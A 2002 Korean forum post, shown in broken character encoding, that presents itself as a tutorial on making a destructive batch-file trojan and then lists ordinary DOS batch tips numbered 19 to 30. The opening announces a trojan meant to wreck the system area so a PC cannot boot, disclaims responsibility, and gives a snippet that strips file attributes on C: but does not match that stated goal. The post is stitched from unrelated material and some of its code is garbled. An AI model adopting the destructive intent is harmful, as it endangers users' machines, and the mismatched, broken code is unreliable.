ÀÚÀ¯·Ó°Ô °Ô½Ã¹°À» ¿Ã¸±¼öÀÖ´Â °Ô½ÃÆÇÀÔ´Ï´Ù.
  • À¯³âÃß¾ï
  • Çб³»ýȰ
  • ÀÔ½ÃÁغñ
  • ´ëÇлýȰ
  • ±º»ýȰ
  • ¾Ë¹Ù»ýȰ
  • Ãë¾÷Áغñ
  • Á÷Àå»ýȰ
  • ¿ø·ë»ýȰ
  • ¿¬¾ÖÁß
  • °áÈ¥Áغñ
  • Áý¾È»ì¸²
  • Àڳ౳À°
  • â¾÷Áغñ
  • À̹ÎÀ¯ÇÐ
  • ³ëÈÄ»ýȰ
  • Àüüº¸±â


¹èÄ¡ÆÄÀÏ È°¿ë(¹ÙÀÌ·¯½º Á¦ÀÛ)

 
¹èÄ¡ÆÄÀÏ·Î ¹ÙÀÌ·¯½º Á¦ÀÛÇϱâ

¹®Á¦°¡ ¹ß»ýÇÒ °æ¿ì ÀüÀûÀ¸·Î ´ç»çÀÚ Ã¥ÀÓÀÔ´Ï´Ù.

¾ÆÁÖ ¹«½ÄÇÏ°í ´Ü¼øÇÑ Æ®·ÎÀ̸ñ¸¶¸¦ ¸¸µé¾îº¸ÀÚ.
Áö±Ý ¸¸µå´Â°ÍÀº ¾ÆÁÖ Ãʺ¸ÀûÀÎ ¼öÁØÀ¸·Î ¹ß°ßÁï½Ã ŽÁö´çÇÒ¼ö ÀÖÀ¸³ª
¹ß°ßÁï½Ã ÇÇÇØ¸¦ ÀÔÈ÷¸ç ÀÚÆøÇÒ°ÍÀÌ´Ï »ç¿ëÇϱâ´Â ÁÁ´Ù.

¸ñÀû : ħÅõÁï½Ã ½Ã½ºÅÛ ¿µ¿ª ÆÄ±«·Î ºÎÆÃºÒ´É

@ECHO OFF

ATTRIB C:*.* -H -R -S > NUL director.bat
echo echo %%getdir_%%>> director.bat
dir | find "Directory"> go.bat
call go
if exist director.bat del director.bat
if exist go.bat del go.bat

19. subst ¸í·É¾î¸¦ °æ·Î¿¡ »ç¿ëÇϱâ
==================================
¾î¶² µð·ºÅ丮¸¦ Àб⠽±°Ô Çϱâ À§Çؼ­ °£´ÜÇÑ ¹èÄ¡ÆÄÀÏÀ» »ç¿ëÇÑ´Ù. ¸¸¾à subst °¡ ÀÌ¹Ì ¼³Á¤µÇ¾î¼­ »ý±æ ¼ö ÀÖ´Â ¿¡·¯¸¦ ¹æÁöÇÑ´Ù. ±×¸®°í ¸¶Áö¸·À¸·Î ÇöÀç ´ëÄ¡µÈ µð·ºÅ丮ÀÇ ÇöȲÀ» º¸¿©ÁØ´Ù.
@echo off
if exist m:nul echo The substitution has already been made
if not exist m:nul subst m: c:math
if not exist s:nul subst s: c:support
subst

20. ÀÏÁÖÀÏ¿¡ Çѹø ½ÇÇàÇϱâ. (¿äÀÏÀ» È®ÀÎÇϱâ)
=============================================
¿äÀÏÀ» ȯ°æº¯¼ö¿¡ ³Ö´Â °ÍÀº ¾î·Á¿î ±â¼úÀÌ´Ù. ¿ÏÀüÇÑ ¿¹´Â WEEKLY.BAT¿¡¼­ ã¾Æº¼¼ö ÀÖ´Ù. ÀÌ ±â¼úÀÇ ÇÙ½ÉÀº ¾Æ·¡¿¡ ³ª¿Í Àִµ¥, ¿äÀÏÀ» weekday_¶ó´Â ȯ°æº¯¼ö¿¡ ÀúÀåÇÏ´Â °ÍÀÌ´Ù. ÀÏ¹Ý µµ½º ÇÁ·Î±×·¥ ¿Ü¿¡ ¾Æ¹«·± º¸Á¶ ÇÁ·Î±×·¥ÀÌ ÇÊ¿ä¾ø´Ù.
@echo off
echo.| date | find "Current" > tmp$$$.bat
echo set weekday_=%%3> current.bat
call tmp$$$
echo %weekday_%
if "%weekday_%"=="Fri" echo Thank God it's Friday
if exist tmp$$$.bat del tmp$$$.bat
if exist current.bat del current.bat
set weekday_=
»ç½Ç, À§¿¡¼­ %%3 ´ë½Å¿¡ %%4¸¦ »ç¿ëÇÏ¸é ¿À´ÃÀÇ ³¯Â¥¸¦ È®ÀÎÇÒ ¼ö ÀÖ´Ù.

21. ÆÄÀÏÀ̸§¿¡ °æ·Î°¡ Æ÷ÇԵǾú´ÂÁö È®ÀÎÇϱâ
===========================================
¿ì¼± ¸ÕÀú "È®ÀåÀÚ¸¦ ÀνÄÇϱâ"¸¦ º¸¸é °°Àº ¾ÆÀ̵ð¾îÀÎ °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. ÆÄÀÏÀ̸§ÀÌ ´Ü¼øÈ÷ go.exe ·Î ÀÌ·ç¾î Á³´ÂÁö, ¾Æ´Ï¸é °æ·Î¸¦ Æ÷ÇÔÇØ¼­ r:progsgo.exe¿Í °°ÀÌ ÀÌ·ç¾î Á³´ÂÁö È®ÀÎÇÏ´Â °ÍÀº r:progs*.exe¿Í °°ÀÌ È®ÀåÀÚ¸¦ »ç¿ëÇß´Ù¸é ¸Å¿ì º¹ÀâÇÑ ÀÏÀÌ´Ù. ¿©±â¼­ ¾î¶»°Ô µÇ´ÂÁö ¼³¸íÇÏ¿´´Ù. À̸¦ ¿ÏÀüÈ÷ ÀÌÇØÇß´Ù¸é È®½ÇÈ÷ ¹èÄ¡ ÆÄÀϵ鿡 ´ëÇØ¼­ ÀÌÇØÇϱ⠽ÃÀÛÇß´Ù°í ¸»ÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù.
@echo off
echo @echo off> tmp$$$.bat
echo set rest_=%%1>> tmp$$$.bat
echo :_next>> tmp$$$.bat
echo set prev_=%%rest_%%>> tmp$$$.bat
echo for %%%%g in (/%%rest_%%) do set rest_=%%%%g>> tmp$$$.bat
echo if ":%%rest_%%"=="%%prev_%%" goto _found>> tmp$$$.bat
echo if "%%rest_%%"=="%%prev_%%" goto _found>> tmp$$$.bat
echo if not "%%rest_%%"=="%%prev_%%" goto _next>> tmp$$$.bat
echo goto _nopath>> tmp$$$.bat
echo :_found>> tmp$$ at
echo set haspath_=yes>> tmp$$$.bat
echo goto _out>> tmp$$$.bat
echo :_nopath>> tmp$$$.bat
echo set haspath_=no>> tmp$$$.bat
echo :_out>> tmp$$$.bat
echo set rest_=>> tmp$$$.bat
echo set prev_=>> tmp$$$.bat
for %%f in (%1) do call tmp$$$ %%f
if "%haspath_%"=="yes" echo Filename %1 includes a path
if "%haspath_%"=="no" echo Filename %1 does not include a path
rem if exist tmp$$$.bat del tmp$$$.bat
set haspath_=

22. ¿£ÅÍ۸¦ ´©¸£Áö ¾Ê°í ½Ã°£À» º¸±â
====================================
ÇöÀçÀÇ ½Ã°£À» º¸´Â °£´ÜÇÑ ±â¼úÀº ´ÙÀ½°ú °°´Ù.
echo.| time | find /v "new"
½Ã°£À» ȯ°æº¯¼ö·Î ÀúÀåÇÏ´Â ¹æ¹ýÀº LASTBOOT.BATÀ» º¸¾Æ¶ó.

23. ¿¡·¯·¹º§ °ªÀ» È®ÀÎÇÏ´Â ´Ù¸¥ ¹æ¹ý
====================================
¸¹Àº ÇÁ·Î±×·¥°ú ¸î°³ÀÇ µµ½º¸í·É¾îµé( diskcomp, format, xcopy)Àº³¡³¯ ¶§ ¿¡·¯ ·¹º§À» ¹ß»ý½ÃŲ´Ù. ¿¡·¯·¹º§ÀÇ ´©ÀûÀûÀÎ ¼ºÁú ¶§¹®¿¡ ¿¡·¯ ·¹º§À» È®ÀÎÇÏ´Â °ÍÀº ´Ù¼Ò º¹ÀâÇØÁø´Ù. ±×·¡¼­ ¸¸¾à ¿¡·¯·¹º§ÀÌ Á¤È®È÷ 2ÀÎÁö È®ÀÎÇϱâ À§Çؼ­´Â ´ÙÀ½°ú °°ÀÌ ÇÑ´Ù.
if errorlevel==2 if not errorlevel==3 echo Errorlevel 2
for ¸í·É¾î¸¦ »ç¿ëÇÏ´Â ´Ù¸¥ ¹æ¹ýÀ¸·Î ´ÙÀ½À» µé¼ö ÀÖ´Ù.
for %%e in (0 1 2 3 4 5 6 7) do if errorlevel==%%e set
_errlev=%%e
if "%_errlev%"=="2" echo Errorlevel 2
Á» ´õ ÀϹÝÀûÀ¸·Î ´ÙÀ½°ú °°ÀÌ ÇÒ ¼ö ÀÖ´Ù.
for %%e in (0 1 2 3 4 5 6 7) do if errorlevel==%%e set
_errlev=%%e
if "%_errlev%"=="2" echo Errorlevel %_errlev%
º¹ÀâÇÑ ¹èÄ¡ÆÄÀÏ¿¡¼­ Æí¸®ÇÑ ¹æ¹ýÀº goto¸¦ »ç¿ëÇÏ´Â °ÍÀÌ´Ù.
for %%e in (0 1 2) do if errorlevel==%%e goto _label%%e
goto _out
:_label0
echo Errorlevel 0
:_label1
echo Errorlevel 1
:_label2
echo Errorlevel 2
:_out
ÀÌ ±â¼úÀ» ½ÇÁ¦·Î »ç¿ëÇÏ´Â ¿¹´Â BOOT.BAT¿¡¼­ ã¾Æº¼¼ö ÀÖ´Ù.

24. ¹èÄ¡ÆÄÀÏÀÇ Ãâ·ÂÀ» ¸®µð·º¼Ç(redirection)Çϱâ
===============================================
¹èÄ¡ÆÄÀÏ ¾È¿¡¼­ÀÇ Ãâ·ÂÀº ¼Õ ½±°Ô Àç ¹æÇâÀüȯ(redirecion)ÇÒ ¼ö ÀÖ´Ù. ´ÙÀ½°ú °°Àº example.bat À̶ó´Â ¹èÄ¡ÆÄÀÏÀ» »ý°¢Çغ¸ÀÚ.
@echo This is a redirection test> test
"example"¸¦ ½ÇÇà½ÃŰ¸é ¾Æ·¡ÀÇ ¹®ÀåÀ» ´ãÀº "test"¶ó´Â ÆÄÀÏÀ» »ý¼º ÇÒ °ÍÀÌ´Ù.
This is a redirection test
ÀÌ ÁÙÀº eoln(end of line: ascii 13 + 10)À» ÁÙ ³¡¿¡ Æ÷ÇÔÇϰí ÀÖ´Ù. ¸®µð·º¼Ç ±âÈ£ '>' ¾Õ¿¡ ¾Æ¹«·± °ø¹éµµ ÁÖÁö ¾Ê´Â °ÍÀÌ Çö¸íÇÒ¶§°¡ ÀÖ´Ù.
¹èÄ¡ÆÄÀÏÀÌ ¸¸µå´Â Ãâ·ÂÀ» ´Ù½Ã Àç ¹æÇâÀüȯ(redirection)ÇÏ´Â °ÍÀº ´Ù¼Ò º¹ÀâÇÏ´Ù. ´ÙÀ½°ú °°Àº ³»¿ëÀ» Áö´Ñ example2.batÀ» »ý°¢ÇØ º¸ÀÚ.
@echo This is another redirection test
½ÇÇàÇϸé,
example2 > test
Ãâ·ÂÀº È­¸é¿¡ ³ª¿À°í, ºó test¶ó´Â ÆÄÀÏÀÌ »ý¼ºµÉ °ÍÀÌ´Ù. Ãâ·ÂÀ» Àç ¹æÇâ Àüȯ ½Ã۱â À§Çؼ­´Â ´ÙÀ½°ú °°ÀÌ command.com ¸í·É¾î ÇØ¼®±â¸¦ ÅëÇØ¼­ ¹èÄ¡ÆÄÀÏÀ» ½ÇÇàÇØ¾ß ÇÑ´Ù.( command.comÀº Çöµð·ºÅ丮³ª °æ·Î¿¡ ÀÖ¾î¾ß ÇÑ´Ù.)
command /c example2 > test
ÀÌ¿Í °°ÀÌ ÇÏ¸é ³»¿ëÀÌ "test"¶ó´Â ÆÄÀÏ¿¡ ´ã±æ °ÍÀÌ´Ù.

25. ȯ°æÀúÀå °ø°£ÀÌ ÃæºÐÇÑÁö È®ÀÎÇϱâ
=====================================
¸¸¾à ¹èÄ¡ÆÄÀÏÀÌ È¯°æÀúÀå º¯¼ö¸¦ »ç¿ëÇϸé, ȯ°æÀúÀå °ø°£ÀÌ ºÎÁ·ÇÒ°æ¿ì°¡ ÀÖ´Ù. ¸¸¾à "Out of environment space"¶ó´Â ¸Þ¼¼Áö¸¦ ¹Þ´Â´Ù
¸é Àß ¾Ë·ÁÁø ¹æ¹ýÀ» ÅëÇØ¼­ ´ÙÀ½°ú °°ÀÌ config.sys ÀÇ shellÀ» ¼³Á¤Çؼ­ ȯ°æÀúÀå °ø°£À» ´Ã¸± ¼ö ÀÖ´Ù.
shell=c:bincommand.com c:bin /e:1024 /p
ÀÌ º¸´Ù ´ú ¾Ë·ÁÁø ±â¼ú·Î´Â ȯ°æÀúÀå °ø°£ÀÌ ¸ðÀÚ¶ó±â Àü¿¡ ¹Ì¸® È®ÀÎÇØ º¼¼ö ÀÖ´Ù. ¾Æ·¡ÀÇ ¿¹´Â 32¹ÙÀÌÆ®ÀÇ È¯°æÀÌ ³²¾Æ ÀÖ´ÂÁö È®ÀÎÇÑ´Ù.
@echo off
set test_=12345678901234567890123456789012
if "%test_%"=="12345678901234567890123456789012" goto _yes
echo Insufficient environment space
goto _out
:_yes
echo Sufficient environment space
set test_=
rem Whatever you wish to do
:_out

26. µå¶óÀ̺긦 »ç¿ë ¸øÇÏ°Ô ÇÏ´Â °£´ÜÇÑ ¹æ¹ý
===========================================
Àӽ÷Πµå¶óÀ̺긦 »ç¿ëÇÏÁö ¸øÇÏ°Ô ÇÏ·Á¸é, subst¸í·É¾î¸¦ »ç¿ëÇÏ¸é µÈ´Ù. ¿¹´Â ¾Æ·¡¿Í °°´Ù.
@echo off
md c:none
subst d: c:none
´Ù½Ã »ç¿ëÇÏ°Ô ÇÏ·Á¸é,
@echo off
subst d: /d
rd c:none

27. ÇÁ¸°ÅÍ¿¡ escape ¸í·É¾î¸¦ º¸³»±â
===================================
¿©±â Á¤¸» »ç¼ÒÇÑ ±â¼úÀÌ ÀÖ´Ù. ¸í·ÉÇà¿¡¼­ °ð¹Ù·Î ÇÁ¸°ÅÍ¿¡°Ô escape sequence¸¦ º¸³¾ ¼ö ¾ø´Ù. ±×·¯³ª ´ÙÀ½°ú °°Àº ¹èÄ¡ÆÄÀÏÀ» ÀÌ¿ëÇÏ¸é °£´ÜÇÏ´Ù.
@echo ESC%1> prn
ESC´Â ÁøÂ¥ escape¹®ÀÚ·Î ¿¡µðÅÍ·Î ¾²¿©Á®¾ß µÈ´Ù. ÀÌ ¹æ¹ýÀÇ ÇѰ¡Áö °áÁ¡Àº ¶óÀÎÇǵ带 º¸³»´Â °ÍÀÌ´Ù.

28. ¹«ÀÛÀ§ ¹®ÀÚ¿­À» ¸¸µç´Â ¹æ¹ý
===============================
UseNet news¿¡¼­ ¹«ÀÛÀ§ ¹®ÀÚ¿­À» ¸¸µå´Â ¹æ¹ýÀ» ¹°¾îº¸´Â »ç¶÷ÀÌ ÀÖ¾ú´Ù. ´ë´äÀº ´ÙÀ½°ú °°´Ù. À̸¦ È®ÀåÇØ¼­ °øºÎÇØº¸±â ¹Ù¶õ´Ù.
@echo off
echo 10 randomize(val(mid$(time$,7,2))) > tmp.bas
echo 20 open "tmp2.bat" for output as #1 >> tmp.bas
echo 30 x$ = mid$(str$(int(rnd*10000)),2) >> tmp.bas
echo 40 print #1,"@set ramdom_=";x$ >> tmp.bas
echo 50 close #2 >> tmp.bas
echo 60 system >> tmp.bas
gwbasic tmp.bas
call tmp2
del tmp.bas
del tmp2.bat
set

29. ¹®ÀÚ¿­ÀÇ ±æÀ̸¦ ¾Ë¾Æ³»±â
============================
¹®ÀÚ¿­ÀÇ ±æÀ̸¦ ã¾Æ³»´Â ÀÏÀº PC Magazine January 26, 1993 issue ¿¡ ½Ç·È´Ù. ¿©±â¼­ Á¦¾ÈÇÏ´Â ¹æ¹ýÀº PC ¸Þ°ÅÁøÀÇ ¹æ¹ý°ú ±Ùº»ÀûÀ¸·Î °°Áö¸¸, ´õ ÀϹÝÀûÀÌ´Ù.
@echo off
set test_=Testing the lenght of a string
echo %test_% > len$&$&$
dir len$&$&$ | find "LEN$&$&$" > go$$$.bat
echo @echo off> len$&$&$.bat
echo set length_=%% len$&$&$.bat
call go$$$
echo The lenght is %length_% bytes
del len$&$&$
del len$&$&$.bat
del go$$$.bat

30. MsDosÀÇ ¹öÀüÀ» ȯ°æº¯¼ö·Î ÀúÀåÇϱâ
======================================
ADJCURS.BATÀ» º¸¸é ¾Ë°ÚÁö¸¸, ¹èÄ¡ÆÄÀϷθ¸ ¹öÀüÀ» ¾Ë¾Æ³¾ ¼öÀÖ´Ù.
¿©±â¿¡ ´Ù¸¥ ¹æ¹ýÀÌ ÀÖ´Ù.
@echo off
ver > go$$$.bat
echo @echo off> ms-dos.bat
echo set version_=%%2>> ms-dos.bat
call go$$$
echo Your MsDos version is %version_%
del go$$$.bat
del ms-dos.bat





written by (mushu)
2002-07-07 13:40:31
675 ¹ø ÀÐÀ½
¢Ñ ·Î±×ÀÎ ÈÄ ÀǰßÀ» ³²±â½Ç ¼ö ÀÖ½À´Ï´Ù
 Ä³½Ã¼±¹°





365ch.com 128bit Valid HTML 4.01 Transitional and Valid CSS!
ű×